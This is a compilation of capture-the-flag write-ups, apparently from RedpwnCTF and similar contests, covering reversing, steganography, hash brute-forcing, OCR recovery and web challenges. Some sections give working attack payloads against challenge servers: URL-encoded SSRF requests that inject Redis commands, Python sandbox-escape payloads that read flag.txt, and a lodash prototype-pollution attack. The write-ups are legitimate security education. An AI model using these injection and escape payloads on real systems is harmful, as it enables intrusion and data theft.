```Lets call edx as x.mov eax, edx means x = x, so both eax and edx have values of x.shl eax, 2 means shift eax bits by 2, psudo-meaning multiply eax by 4. So eax = 4x.add eax, edx means add edx to eax. So eax = 5xadd eax, eax means add eax to eax, or eax * 2. eax = 10xcmp eax, 0AC292h compares value of eax to 0AC292h```Now after static analysizing these sets of functions manually, after we calculate eax, we get a decimal value of 70517, which is the correct answer!

So our correct answer is ```flag{70517}```
MSB---------```Written by: NotDeGhost
It's not LSB, its MSB!
Red is Random, Green is Garbage, Blue is Boring.
Hint: Only one channel is correct. Also, I like doing things top down.```
The challenge gives us a picture and gives some hints that data is hidden by MSB. This gives us the chance to use ```stegsolve```. When opening the picture with stegsolve, we get a picture.

By going through the color planes, we see an output that doesnt really feel the same like the others, there I data extracted by column and got the flag!


```flag{MSB_really_sucks}``` |
Piano was a php service at ENOWARS 3. The vulnerability was easy, but the interesting part was about parsing the flags.
Find the full writeup on our website. |
There is a file attached to the task: *data.txt*, which looks like```600 800(255 12 0), (255 12 0), (255 12 0), (255 12 0), (255 12 0), (255 12 0)...```As you can see, the first line contains two numbers 600 and 800, then we see a chain of tuples. Obviously, 600 and 800 are width and height, and each of the tuple represents a pixel as (R, G, B).Looks pretty easy! Let's write a python script to build an image from the given data (maybe this one is not quite effective, but hey, it's not ACM ICPC :) ):```from PIL import Imagewith open('data.txt', 'r') as file: data = file.read()width = 600height = 800#There is a little hack here :)#I simply omit the first 8 characters of data.txt, because I already know the image sizedata = data[8:len(data)].split(', ')for i in range(0,len(data)): data[i] = data[i][1:len(data[i])-1].split(' ')im = Image.new('RGB',(width, height))for j in range(0,height): for i in range(0,width): im.putpixel((i,j), (int(data[j*width + i][0]), int(data[j*width + i][1]), int(data[j*width + i][2])))im.save("output.png")```Now we have an output image:

There are gray circles of different shades on this image. If open the image in any image editor (e.g. GIMP) and look at the codes of the colors of circles one by one we can see: 666666, dddddd, 777777, 999999...It gives us the hex code: ```6d 79 5f 62 33 35 74 5f 66 6c 34 67 5f 79 33 74```
Convert it to ascii, and the flag is: ```my_b35t_fl4g_y3t``` |
### ChallengeThe web challenge said:> Find out what redpwn is doing with red-pwn-is> > hint: red-pwn-is could be better thought of as red-is-pwn
The site allowed to ping an URL, so the first thing that come up in my mind was a SSRF attack.In facts, trying with http://127.0.0.1, it returned:
```debug response:
HTTP/1.1 200 OKDate: Mon, 19 Aug 2019 18:10:27 GMTConnection: keep-aliveTransfer-Encoding: chunked
181
<style> div { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); }</style><div> <h3>red pwn is figures out what redpwn is doing! give red pwn is a URL, and red pwn is will ping you to say what redpwn is doing!</h3> <form method="POST"> url: <input type="text" name="url"> </form></div>
0```
However, HTTP was the only admitted protocol, because with other URL schemas the site returned`only the http protocol is supported `
After a long time, I understood the given hint, it was a wordplay with **Red**-pwn-**is**.Personally, I didn't know anything about Redis, thus I started to find out how it works.
### RedisRedis works on port 6379, hence I typed:
`http:127.0.0.1:6379`
Server response was:```debug response:-ERR wrong number of arguments for 'get' command
```
At these point, I was sure that It was a Redis service.Then, I started to search how [Redis protocol](https://redis.io/topics/protocol "Redis protocol") works.
Finally, I found this [resource](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) that explains how to use redis via http request.
There are some fundamentals things to know to send HTTP request(*form link above*):> - everything is separated with new lines (here CRLF) - a command starts with '*' and the number of arguments ("*1" + CRLF) - then we have the arguments, one by one: - string: the '$' character + the string size ("$4" + CRLF) + the string value ("TIME" + CRLF) - integer: the ':' character + the integer in ASCII (":42" + CRLF)
Therefore, following the [command list](https://redis.io/commands), a simple INFO request:
`*1 INFO `
become:
`%0d%0a*1%0d%0aINFO%0d%0a`
that returned:
$-1 $3305 # Server redis_version:5.0.5 redis_git_sha1:00000000 redis_git_dirty:0 redis_build_id:8160a3edb641e7cf redis_mode:standalone os:Linux 4.6.0-kali1-amd64 x86_64 arch_bits:64 multiplexing_api:epoll atomicvar_api:atomic-builtin gcc_version:8.3.0 process_id:8 run_id:675167eb19c73df259f4a968ed11ec817d06e511 tcp_port:6379 uptime_in_seconds:24178 uptime_in_days:0 hz:10 configured_hz:10 lru_clock:5958458 executable:/usr/src/app/redis-server config_file:/usr/local/etc/redis/redis.conf # Clients connected_clients:1 client_recent_max_input_buffer:83 client_recent_max_output_buffer:0 blocked_clients:0 # Memory used_memory:848216 used_memory_human:828.34K used_memory_rss:3067904 used_memory_rss_human:2.93M used_memory_peak:848216 used_memory_peak_human:828.34K used_memory_peak_perc:100.12% used_memory_overhead:834942 used_memory_startup:785144 used_memory_dataset:13274 used_memory_dataset_perc:21.05% allocator_allocated:841392 allocator_active:1040384 allocator_resident:4001792 total_system_memory:12731805696 total_system_memory_human:11.86G used_memory_lua:37888 used_memory_lua_human:37.00K used_memory_scripts:0 used_memory_scripts_human:0B number_of_cached_scripts:0 maxmemory:0 maxmemory_human:0B maxmemory_policy:noeviction allocator_frag_ratio:1.24 allocator_frag_bytes:198992 allocator_rss_ratio:3.85 allocator_rss_bytes:2961408 rss_overhead_ratio:0.77 rss_overhead_bytes:-933888 mem_fragmentation_ratio:3.91 mem_fragmentation_bytes:2282600 mem_not_counted_for_evict:0 mem_replication_backlog:0 mem_clients_slaves:0 mem_clients_normal:49694 mem_aof_buffer:0 mem_allocator:jemalloc-5.1.0 active_defrag_running:0 lazyfree_pending_objects:0 # Persistence loading:0 rdb_changes_since_last_save:0 rdb_bgsave_in_progress:0 rdb_last_save_time:1566215368 rdb_last_bgsave_status:ok rdb_last_bgsave_time_sec:-1 rdb_current_bgsave_time_sec:-1 rdb_last_cow_size:0 aof_enabled:0 aof_rewrite_in_progress:0 aof_rewrite_scheduled:0 aof_last_rewrite_time_sec:-1 aof_current_rewrite_time_sec:-1 aof_last_bgrewrite_status:ok aof_last_write_status:ok aof_last_cow_size:0 # Stats total_connections_received:16 total_commands_processed:29 instantaneous_ops_per_sec:0 total_net_input_bytes:1871 total_net_output_bytes:1458 instantaneous_input_kbps:0.00 instantaneous_output_kbps:0.00 rejected_connections:0 sync_full:0 sync_partial_ok:0 sync_partial_err:0 expired_keys:0 expired_stale_perc:0.00 expired_time_cap_reached_count:0 evicted_keys:0 keyspace_hits:1 keyspace_misses:14 pubsub_channels:0 pubsub_patterns:0 latest_fork_usec:0 migrate_cached_sockets:0 slave_expires_tracked_keys:0 active_defrag_hits:0 active_defrag_misses:0 active_defrag_key_hits:0 active_defrag_key_misses:0 # Replication role:master connected_slaves:0 master_replid:04c54dbbc3ba265386dd9b420c7e772486e3d333 master_replid2:0000000000000000000000000000000000000000 master_repl_offset:0 second_repl_offset:-1 repl_backlog_active:0 repl_backlog_size:1048576 repl_backlog_first_byte_offset:0 repl_backlog_histlen:0 # CPU used_cpu_sys:10.712000 used_cpu_user:9.968000 used_cpu_sys_children:0.000000 used_cpu_user_children:0.000000 # Cluster cluster_enabled:0 # Keyspace db0:keys=1,expires=0,avg_ttl=0 -ERR unknown command `HTTP/1.1`, with args beginning with:
Redis is a **key-value** database, so I needed to know what keys were in the db.
### Exploit
> **Note**: Every line must be teminated with `\r\n`, so URLEncoded is `%0d%0a`
**Get all keys:**
*2 $4 KEYS $1 *Payload:`http://127.0.0.1:6379/%0d%0a*2%0d%0a$4%0d%0aKEYS%0d%0a$1%0d%0a*0d%0a`
Server response was: debug response: $-1 *1 $4 flag -ERR unknown command `HTTP/1.1`, with args beginning with:
**Bingo**, there was a key called flag!
**Get flag key value:**
*2 $3 GET $4 flagPayload.`http://127.0.0.1:6379/%0d%0a*2%0d%0a$3%0d%0aGET%0d%0a$4%0d%0aflag0d%0a`
And the response was:
debug response:
$-1 $28 flag{r3d_pWn_is_buT_n0T_pwN} -ERR unknown command `HTTP/1.1`, with args beginning with:
So, **flag** is:`flag{r3d_pWn_is_buT_n0T_pwN}` |
# Super Hash```Written by: NotDeGhost
Does hashing something multiple times make it more secure? I sure hope so. I've hashed my secret ten times with md5! Hopefully this makes up for the fact that my secret is really short. Wrap the secret in flag{}.
Note: Follow the format of the provided hash exactly
Hash: CD04302CBBD2E0EB259F53FAC7C57EE2```
Basically, we need to brute force the plaintext using the hash given
The encryption process looks like this:```Example :plaintext = 'hello'
1st timehello -> md5 -> 5D41402ABC4B2A76B9719D911017C592 |2nd time v5D41402ABC4B2A76B9719D911017C592 -> md5 -> F872A18EB88181EB00816510E762FEE6 | v3rd time......... | v10th timeResult: 2E03744900CDEFC1B3092BF4FCC954C0```
Since it state the secret is **really short**, so i guess its only one character
I used python to solve this:```pythonimport hashlibimport stringtext = "CD04302CBBD2E0EB259F53FAC7C57EE2"
for character in string.printable: cipher = hashlib.md5(character).hexdigest().upper() # According to hint, hash is uppercase for j in range(9): cipher = hashlib.md5(cipher).hexdigest().upper() if cipher == text: print character```Result:```^[Finished in 0.1s]```
That it! The flag is `flag{^}` |
The problem gives a c source full of macros and ascii art.
First get the preprocessing result using 'gcc -E' or 'gcc --save-temps', then format it using tools like indent.ignore the huge array, you will get some basic functions.
```/* simple linked list */struct s { struct s*s;};/* list insert head */static struct s *z ( struct s*n) { struct s*t=n ; n =malloc (sizeof(struct s)) ; n-> s= t; return n ;}/* list length */static int pi (struct s *n ) { int x =0; for(; n ; n=n-> s,x++) ; return x;;}/* create list of size n */static struct s*ip(int n) { struct s*s=0; for(int i=0; i<n; i++) { s=z(s); } return s;}/* compare length of two lists, return 0 if equal */static int pc(struct s*n,struct s*o) { for(; n&&o; n=n->s,o=o->s); return n||o;}/* simple per-byte transform, only 896/1024 bytes are transformed */ static void df(int*p) { register n=128; switch(1024%8) { case 0: do { *p^=0x63 ; p++; case 7: *p^=48; p++; case 6: case 5: *p<<=4; p++; case 4: *p<<=2; p++; case 3: *p*=55; p++; case 2: *p-=-97; p++; case 1: *p+=44; p++ ; } while(--n>0); }}/* simple copy */static void dc(int*d,char*s) { register int n=(1024+7)/8; switch (1024%8) { case 0: do { *d++=*s++; case 7: *d++=*s++; case 6: *d++=*s++; case 5: *d++=*s++; case 4: *d++=*s++; case 3: *d++=*s++; case 2: *d++=*s++; case 1: *d++=*s++; } while(--n>0); }}/* checker */static int ch (int*n) { struct s*a[1024]= {...}; struct s*p; for(int i=0; i<1024; i++) { p=ip(i[n]); /* create list of given length */ if(pc(p,i[a])) { /* compare list length with given one */ return 0; } } return 1;}int main(void) { static char b[1024]; static int i[1024]; fgets(b,1024, stdin); dc(i,b); /* copy */ df(i); /* transform */ return !!!!!!!!!!!!!!!!!!!!!!!ch(i); /* compare */}```
The rest is simple: 1. calculate the length of each list in a; 2. perform reverse transform of df.```# counting list lengths (s is the string representation of the array a in function ch(). v = [x.count('z') for x in s.split(',')]# reverse transform of dfo, i = '', 0for x in v[:-128]: if i == 0: o += chr(x^0x63) elif i == 1: o += chr(x^48) elif i == 2: o += chr(x>>4) elif i == 3: o += chr(x>>2) elif i == 4: o += chr(x/55) elif i == 5: o += chr(x-97)print o``` |
As with some of the other CryptoCTF challenges, the idea here is that we have a python script that encrypts a secret which is imported from a file that was not provided. We have been provided with some constants X , Y , and N and the ciphertext c , along with some asserts in the python code that imply there is some non-standard mathematical property of the primes p and q that were used to generate N .
The goal is to exploit the mathematical property to decrypt the flag. |
---title: RedpwnCTF - Exploiting python eval to escape pyjailsdescription: Writeup for 2 pyjails challenges exploiting eval function.categories: python, pyjailauthor: Xh4Htags: python ctf redpwnctf pyjail---
# IntroductionWelcome to this post. I will show how I solved all the python jails challenges (pyjail) from RedpwnCTF.
## genericpyjail
**Challenge description**When has a blacklist of insecure keywords EVER failed?
nc chall2.2019.redpwn.net 6006
blacklist.txt```importasteval=pickleossubprocessi love blacklisting words!inputsyswindows usersprintexecfilehungryboxbuiltinsopenmost of these are in here just to confuse you_dict[><:;]exechah almost forgot that onefor@diryah have funfile```
**Ready, set, eval!**Let's test it, ``nc`` to that address.
<div style="text-align:center"></div>
We are told theres a file called flag.txt. If we try to run ``open`` function it will not work since it is present in the blacklist.
When we send our input, it first gets checked with that blacklist, and if it passed all the checks, it gets evaluated.
After a lot of trial and error, i ended up converting ``int(open("flag.txt", "r").read())`` to the ascii code of each character. Then used chr(number) to convert each ascii code back to the original character. Char by char i built back my initial payload without it being directly present in my input.
```pychr(105) + chr(110) + chr(116) + chr(40) + chr(111) + chr(112) + chr(101) + chr(110) + chr(40) + chr(39) + chr(102) + chr(108) + chr(97) + chr(103) + chr(46) + chr(116) + chr(120) + chr(116) + chr(39) + chr(44) + chr(32) + chr(39) + chr(114) + chr(39) + chr(41) + chr(46) + chr(114) + chr(101) + chr(97) + chr(100) + chr(40) + chr(41) + chr(41)```
<div style="text-align:center"></div>
Time to send this to the jail!
<div style="text-align:center"></div>
Please note how I added the int function in order to make it throw an exception containing the flag. I analyzed this technique in my other post called [Python - Hacking with style - input](https://posts.xh4h.com/python/2019/08/03/input_magic.html).
**flag**: flag{bl4ckl1sts_w0rk_gre3344T!}
## genericpyjail2
**Challenge description**
how unoriginal do you have to be to make two of these
nc chall2.2019.redpwn.net 6007
**Action**
We do not have a blacklist now, but we can't use whitespaces or tabs. And we have a very limited set of builtins. You may be asking how I knew that. I made the following script to analyze builtins:
```pyfrom pwn import *import re
r = remote("chall2.2019.redpwn.net", 6007)r.recvline() # wow! again, there's a file called flag.txt! insane!
def main(): matches = [] i = 0 response = "" exc = "" while (exc.find("out of range") == -1): r.sendline("int(dir(__builtins__)[%d])" % i) i = i + 1 response = r.recvline() # Now it's ... exc = r.recvline() # Exception ... module = re.search( r"'(\w+)'", exc, re.M|re.I) if module: matches.append(module.group(1)) print "New match: %s at index %d" % (module.group(1), i)
print "finished"
print ", ".join(matches)
try: main()except Exception as e: print e```
This script establishes a connection and sends ``int(dir(__builtins__)[i])`` where ``i`` is a number from zero to infinity until the jail said we where out of range. I used ``dir`` function to list builtins and ``int`` to get the raw exception, again ^^.
The script would then output every single match, and once finished, it would display every single match comma separated. This was useful to know our environment.
<div style="text-align:center"></div>
There was no interesting function here that would help me with reading files.
I decided to recover deleted functions, yes, that's possible.
Accessing sub-sub-sub-.... modules of an empty tuple ``()`` we can get interesting information. There's a post [here](https://www.floyd.ch/?p=584) that talks about this.
Empty tuples have ``object`` as base class which has a subclass called ``warnings.catch_warnings``, with this we can print to the console (remember that we can't send whitespaces).
This is found here:```py().__class__.__base__.__subclasses__()[59]().__module.__builtins__['print'] # returns a function, print```
With the piece of code above we can print again all modules inside subclasses and we find the following information. ```py().__class__.__base__.__subclasses__()[59]()._module.__builtins__['print'](().__class__.__base__.__subclasses__())```
<div style="text-align:center"></div>
There is a module of ``type file``. ``open`` function pretty much gets reduced to file, therefore we can read a file with it. It is located in the index 40.
```pyint(().__class__.__base__.__subclasses__()[40]("flag.txt","r").read())```
Here, again, I used the int() exception :D.
<div style="text-align:center"></div>
## Notes### Notes for genericpyjail1Instead of building a long chain of chr(number), it could have been solved as well by sending a base64 encoded string and decoding it on the fly: ``"base64payload".decode('base64')``.
### Notes for genericpyjail2Appart from having used ``().__class__.__base__.__subclasses__()[59]()._module.__builtins__['print']`` to print, we could have used one from the builtins we saw, ``raw_input``, by having passed as parameter ``().__class__.__base__.__subclasses__()``. Remember I analyzed this in the post [mentioned earlier](https://posts.xh4h.com/python/2019/08/03/input_magic.html).
<div style="text-align:center"></div>Thanks for reading :)
<script src="https://www.hackthebox.eu/badge/21439"></script> |
# of-course-rachel (150)
## Problem
Ugh, I had a really important file with the flag, but sadly it broke. My friend Rachel said that snapshots are good for backing up, and luckily I listened so here is my screenshot. Do you think you could help me put it back together?
(Attachments: files/snapshot.zip)
## Solution
Let's first unzip the file to see what we're dealing with.
```$ unzip snapshot.zip Archive: snapshot.zip creating: snapshot/ inflating: snapshot/part1.png inflating: snapshot/part2.png inflating: snapshot/part3.png inflating: snapshot/part4.png inflating: snapshot/part5.png```

Looks like this is a bunch of literal screenshots of what seems to be a bunch of hex. That'd be a lot to have to type out by hand, so we can instead use an OCR tool such as GOCR to look at the image and turn it into a text file for us. We can also pipe it into xxd to perform a reverse operation to decode the hex.
```$ gocr -i part1.png | xxd -r -pimot binsciiimpor rndom
cls Vector(object): """ This clss reesent eco of rbira i�e. Yo need to give he eco components.
Overview bout the methods:
contuctor(componens : list) : init the vector set(component : lis) : chanae he eco components. __str__() : toString method componen(i : int): ges the i-th component (start by 0) __len__() : aes the si�e of he ecto (number of components) euclidLength() : ens the euliden lenath of he vector. opertor + : vector addition operto - : vecor sbrction operator * : sclar multipliction nd do prodct coy() : copie thi ecto and retrn it. chngeComponent(pos,vlue) : changes he ecified comonen. TODO: compre-opertor """
def __init__(self, comonent=[]): """ input: components or nothing imple contcto for init the vector """ self.__component = lis(comonens)
def e(self, components): """ inu: ne components chngsthcomonG2ofthvct"� elce the comonens with neer one. """ if len(component) > 0: self.__comonent = list(componen) ele: raise Exception("plese give ny vecto")
def __sr__(elf): """ returns string representaion of he eco """ return "(" + ",".join(map(str, self.__comonent)) + ")"
def componen(self, i): """ input: inde (r t 0) opt: he i-thcomonntofthvct"�""" if tpe(i) is in and -len(self.__components) <= i < len(self.__componens): retn self.__comonents[i] else: rise Excepion("inde out of range")
def __len__(self): """ returns the size of the vector """ reun len(self.__comonent)
def eulidLength(self): """ retrn he euliden length ofthvct�"""�smm=$ gocr -i part2.png | xxd -r -p 0 for c in self.__components: summe += c**2 retrn math.sqrt(summe)
def __add__(self, oher): """ in: othrvct�assms:F�rvector has he me size eurnsanwvct"thatrrsG2thsm. """ i�e = len(self) if size == len(other): result = [self.__components[i] + othe.component(i) fo i in rnge(size)] return Vecor(result) ele: ise Exception("must hve the sme size")
def __ub__(elf, othe): """ input: other vector sumes: othe veco h the same size returns new vector tha repesen he diffeenz. """ size = len(self) if ize == len(oher): reul = [self.__components[i] - other.comonent(i) for i in nae(size)] return result else: # error case raise Exceion("mus he the me size")
def __mul__(self, other): """ ml imlemen he sclar mltiplication and the dot-product """ if iintance(other, flot) or isinstnce(other, int): ns = [c*othe for c in self.�6��onnts�rtrna� elif (isinnce(oher, Vector) nd (len(self) == len(other))): i�e = len(elf) summe = 0 for i in range(size): summe += elf.__component[i] * ohe.componen(i) rern summe else: # error cse rise Exceion("inlide oend")
def copy(self): """ coies thi vecor nd euns it. """ return Vector(self.__comonent)
def chngeComponent(self, pos, value): """ inpu: n index (pos) nd le changes the specified component (os) ih he 'vle' """ # precondition aer (-len(elf.__comonent) <= pos < len(self.__components)) self.__comonent[po] = vle
fla = 820926016672424573282546345206805820898691$ gocr -i part3.png | xxd -r -p3215291392096695738686757700743744203737234698
def �eroVecto(dimension):�"""�rtrnsazro-vct"of si�e !dimenion' """ # pecondition ssert(isinstance(dimnsion, in)) etun Veco([0]*dimension)
df min(): print(int_to�Fxt(flag))
def niBsisVeco(dimension, o): """ returns a nit bsis vector with a On at index 'pos' (indexina t 0) """ # recondition assert(isinstanc(dimension, int) nd (iinstance(o, int))) ns = [0ҦF��nsion ans�����&trn Veco(ans)
def ap(cl, x, y): """ input: a 'scalar' nd two ecos !! nd '! oupt: ector computes th axpy opration """ # econdition ser(isinstance(x, Vector) nd (isinstnc(y, Veco)) nd (isinsnce(sclar, int) or isinstance(scalar, flot))) etrn (*cl + y)
def ndomVector(N, a, b): """ input: size (N) of th vctor. random nge (a,b) otput: return a random vctor of size N, with ndom integer comonent beten''nd'b'.�"""�random6d(None) ns = [ndom.ndint(, b) for i in rnge(N)] return fctor(ans)
def text_to_int(in): heed = binascii.hxlify(inp) rtrn int(hexed, 6)
def int_o_et(in): heed = hx(inp) rtrn byterray.fromhx(heed[2:]).decode()
cls Mati(object): """ class: Mtrix This clas eresent a bitry matix.
Oerieq bou he mehod:
_�7G%��&trns a string rpresntation oeror * : imlement h mtrix vector mltipliction implemen he mrix-scalr mltipliction. changeComponen(,y,le) : changes the pecified component. componnt(x,y) : euns the pecified comonen. width() : returns th width of th mti heiaht() : retrn he height of the matrix operto + : imlement he mri-ddition. oprator - _ implemnts th mari-sbraction """
def __ini__(elf, mrix, q, h): """```
Looks like we've found the flag between parts 2 and 3. Not perfect, of course, no OCR is (yet), but this really narrows things down for us. Let's just get the last 2 rows of part 2 and first 2 rows of part 3 and manually fix them.
```$ ( gocr -i part2.png | tail -n 2; gocr -i part3.png | head -n 2 ) > hex$ cat hex 5F5F636F 6D106F6E 656E7413 5B706F13 5D203D20 766l6C15 650A0A0A 666C6I61 203D2038 323039323l363031 3l363637 323l3432 34353733 32383235 34363334 35323036 38303538 32303839 3836393133323135 323l3931 33393230 3l393636 393l3537 33383638 363S3735 37373S30 30373433 3734343230333733 37323334 3639380A 0A0A6465 66201A65 726F5665 63746F12 2864696D 656E7369 6F6E293A```
The most common problem is that the OCR is mistaking the number 1 for the letter l, 5 for S, and it's getting 7s and 1s mixed up. We can use our human discretion to fix these errors.
This is the fixed hex:
```5F5F636F 6D706F6E 656E7473 5B706F73 5D203D20 76616C75 650A0A0A 666C6167 203D2038 3230393231363031 31363637 32313432 34353733 32383235 34363334 35323036 38303538 32303839 3836393733323135 32313931 33393230 31393636 39313537 33383638 36353735 37373530 30373433 3734343230333733 37323334 3639380A 0A0A6465 66207A65 726F5665 63746F72 2864696D 656E7369 6F6E293A```
When we decode it, we get the flag.
```$ xxd -r -p hex __components[pos] = value
flag = 820921601166721424573282546345206805820898697321521913920196691573868657577500743744203737234698
def zeroVector(dimension):```
However, we again need to decode the flag. There is a decoder function further in the program in part 3 from earlier.
```$ gocr -i part3.png | xxd -r -p3215291392096695738686757700743744203737234698
def �eroVecto(dimension):�"""�rtrnsazro-vct"of si�e !dimenion' """ # pecondition ssert(isinstance(dimnsion, in)) etun Veco([0]*dimension)
df min(): print(int_to�Fxt(flag))
def niBsisVeco(dimension, o): """ returns a nit bsis vector with a On at index 'pos' (indexina t 0) """ # recondition assert(isinstanc(dimension, int) nd (iinstance(o, int))) ns = [0ҦF��nsion ans�����&trn Veco(ans)
def ap(cl, x, y): """ input: a 'scalar' nd two ecos !! nd '! oupt: ector computes th axpy opration """ # econdition ser(isinstance(x, Vector) nd (isinstnc(y, Veco)) nd (isinsnce(sclar, int) or isinstance(scalar, flot))) etrn (*cl + y)
def ndomVector(N, a, b): """ input: size (N) of th vctor. random nge (a,b) otput: return a random vctor of size N, with ndom integer comonent beten''nd'b'.�"""�random6d(None) ns = [ndom.ndint(, b) for i in rnge(N)] return fctor(ans)
def text_to_int(in): heed = binascii.hxlify(inp) rtrn int(hexed, 6)
def int_o_et(in): heed = hx(inp) rtrn byterray.fromhx(heed[2:]).decode()
cls Mati(object): """ class: Mtrix This clas eresent a bitry matix.
Oerieq bou he mehod:
_�7G%��&trns a string rpresntation oeror * : imlement h mtrix vector mltipliction implemen he mrix-scalr mltipliction. changeComponen(,y,le) : changes the pecified component. componnt(x,y) : euns the pecified comonen. width() : returns th width of th mti heiaht() : retrn he height of the matrix operto + : imlement he mri-ddition. oprator - _ implemnts th mari-sbraction """
def __ini__(elf, mrix, q, h): """```
The main() function calls on int_to_text().
```def int_o_et(in): heed = hx(inp) rtrn byterray.fromhx(heed[2:]).decode()```
Let's go ahead and input the flag into this code, again using our human discretion to correct mistakes.
```$ python3Python 3.7.3 (default, Mar 26 2019, 21:43:19) [GCC 8.2.1 20181127] on linuxType "help", "copyright", "credits" or "license" for more information.>>> seed = hex(820921601166721424573282546345206805820898697321521913920196691573868657577500743744203737234698)>>> bytearray.fromhex(seed[2:]).decode()'bcactf{0p71c4lly_r3c0gn1z3d_ch4r4c73rs}\n'``` |
---title: RedpwnCTF - Performing a prototype pollution attackdescription: Writeup for RedpwnCTF blueprint web challenge which involved the usage of a prototype pollution attackcategories: jsauthor: Xh4Htags: javascript ctf redpwnctf blueprint prototype pollution mitigations---
# IntroductionWriteup for RedpwnCTF blueprint challenge which involved ``prototype pollution`` attack.
First of all, what is a ``prototype pollution`` attack? As the name says, it is about polluting the prototype of a base object which can allow us to modify any existing object and get RCE.
In JavaScript, an Array is a base object. These base object have a property which is ``constructor`` and inside of this there is ``prototype``. If someone managed to edit this property, any Array would be affected.
## Challenge description
All the haxors are using blueprint. You created a blueprint with the flag in it, but the military-grade security of blueprint won't let you get it!
[blueprint.tar.gz](https://github.com/Xh4H/xh4h.github.io/blob/master/CTF_Files/RedpwnCTF/blueprint.tar.gz)
## Action
We are given two files, ``package.json`` and ``blueprint.js``. We look at the package:```json{ "name": "blueprint", "version": "0.0.0", "private": true, "dependencies": { "lodash": "4.17.11", "mustache": "^3.0.1", "raw-body": "^2.4.1" }}```Here we can see the versions of the dependencies that the ``blueprint.js`` is using. Will be useful for the future.
After examining ``blueprint.js``, which is an HTTP server, I find a strange comment in the code:
<div style="text-align:center"></div>
It is using ``_.defaultsDeep``, and ``_`` is declared to be as lodash ``const _ = require('lodash')``
A google search shows that lodash has some serious vulnerability affecting all the versions prior to ``4.17.11`` including this version as well. You can read about this finding here: [Snyk research team discovers severe prototype pollution security vulnerabilities affecting all versions of lodash](https://snyk.io/blog/snyk-research-team-discovers-severe-prototype-pollution-security-vulnerabilities-affecting-all-versions-of-lodash/). Lodash package maintainer already fixed this as of today, but many projects are using old versions of lodash, making them vulnerable to this attack. Let's start our attack.
This challenge allows us to create blueprints with a content and they can either be private or public. Every time we access the page without cookies, we get assigned a user_id and a private blueprint is created which contains the flag, but it is set as private. ``/`` endpoint allows us to list all existing **public** blueprints.
<div style="text-align:center"></div>
``makeId`` function creates a 16 chars long random character, we are not supposed to bruteforce this.
I set up a basic environment with lodash. At my first attempt I couldn't make this vulnerability work because when setting it up I installed lodash like this: ``npm i lodash``, which downloaded the latest version which had fixed this vulnerability. So I removed it ``npm remove lodash`` and installed a vulnerable version, in fact, the one this server is using: ``npm i [email protected]``. Now it worked :D
In the following screenshot you can see a piece of code I wrote as a Proof of Concept (PoC) where I pollute Array's prototype. As you can see, accessing the ``public`` property of a previously declared Array and as well a new Array declared after the prototype pollution will both return ``true``, seeing that our test was successful it is time to get our flag.
In other words, any Array has now the ``public`` property set to true.<div style="text-align:center"></div>
## Time to get the flagOpen up BurpSuite and grab the request of creating a new blueprint, send the payload we previously tested.
<div style="text-align:center"></div>
Go to ``/`` and boom, flag.
First blueprint is the "private" flag and second is the new created blueprint which we used to pollute the prototype :)
<div style="text-align:center"></div>
``flag{8lu3pr1nTs_aRe_tHe_hiGh3s1_quA11tY_pr0t()s}``
## Why does this work and mitigationsLodash module, and many other npm modules ([this](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf) pdf analyzes deeply this threat and lists vulnerable modules) that perform deep Array copies can allow an attacker to modify object prototypes and take control of that object's properties.
If you are using lodash, simply update it.If you are performing deep copies or using any affected module, this can be fixed rather easily. The ECMAScript standard version 5 introduced a very interesting set of functionality to the JavaScript language, ``Object.freeze``. When that function is called on an object, any further modification on that object will silently fail. Since the prototype of ``Object`` is an object, it's possible to freeze it. Doing so will mitigate almost all the exploitable case.
```js1. Object.freeze(Object.prototype);2. Object.freeze(Object);3. ({}).__proto__.test = 123;4. ({}).test; // this will be undefined```
Thanks for reading :)
<script src="https://www.hackthebox.eu/badge/21439"></script>
Sources:
[https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)
[https://snyk.io/blog/snyk-research-team-discovers-severe-prototype-pollution-security-vulnerabilities-affecting-all-versions-of-lodash/](https://snyk.io/blog/snyk-research-team-discovers-severe-prototype-pollution-security-vulnerabilities-affecting-all-versions-of-lodash/)
[https://snyk.io/vuln/SNYK-JS-LODASH-450202](https://snyk.io/vuln/SNYK-JS-LODASH-450202) |
# Satellite (networking)

[Attachment](https://github.com/shawnduong/ctf-writeups/blob/master/2019-GOOGLE/attachments/day1.zip)
Let's go ahead and unzip the program and see what we're dealing with. I'll first unzip it using `unzip` and then find out what kinds of files I'm dealing with using `file`. It looks like I'm dealing with a PDF file as well, so I'll go ahead and open that up with a PDF viewer.

It looks like we have an ELF binary. Let's go ahead and make it executable like we did last time: by using `chmod` to change the mode and by passing `+x` to specify that we want to make it executable. Then, we'll run it and see how it behaves by feeding it some input.

Let's go ahead and enter the name of our satellite which, based on the level description, should be "Osmium." I gotta admit that my first time doing this level, I just very quickly glanced over the description and didn't realize that the satellite name was Osmium, and was pretty frustrated pretty quickly. After typing in the correct satellite name, the program will try to establish a secure connection to the server.
If you're having trouble establishing a secure connection after specifying the target satellite, make sure that your network isn't blocking the server. As I'm writing this, I'm connected to my college Wi-Fi network, which unfortunately (for some reason) blocks it. Running `ltrace` on the program finds that the server in question is `satellite.ctfcompetition.com`. Make sure that this address isn't blocked by your network administrator. I ended up using a mobile hotspot to work around this.

Upon entering the correct satellite name, we're prompted for some actions. Let's go ahead and have the data be printed.

Looks like we have a username and password, but the password is censored out. We're also given a URL: https://docs.google.com/document/d/14eYPluD_pi3824GAFanS29tWdTcKxP_XUxx7e303-3E. Let's go ahead and open that up in a web browser.

Looks like a Base 64 encoded string. We can decode this using our terminal by echoing the encoded string and then piping it into the `base64` utility, passing the `-d` switch to specify that we want to decode.

A hint! Looks like we need to start sniffing the data being transmitted over the network. Let's go ahead and start up Wireshark, applying a filter for our own IP address as both a target source or target destination, and then use the program again and observe the traffic.
If you don't know your own internal IP address, you can run `hostname -i` to retrieve it.

After we started up Wireshark, we ran through the program again and we had a look at the traffic being transmitted between our program and the server in question. We find the password in the conversation from the server to our program after we requested the satellite's data.
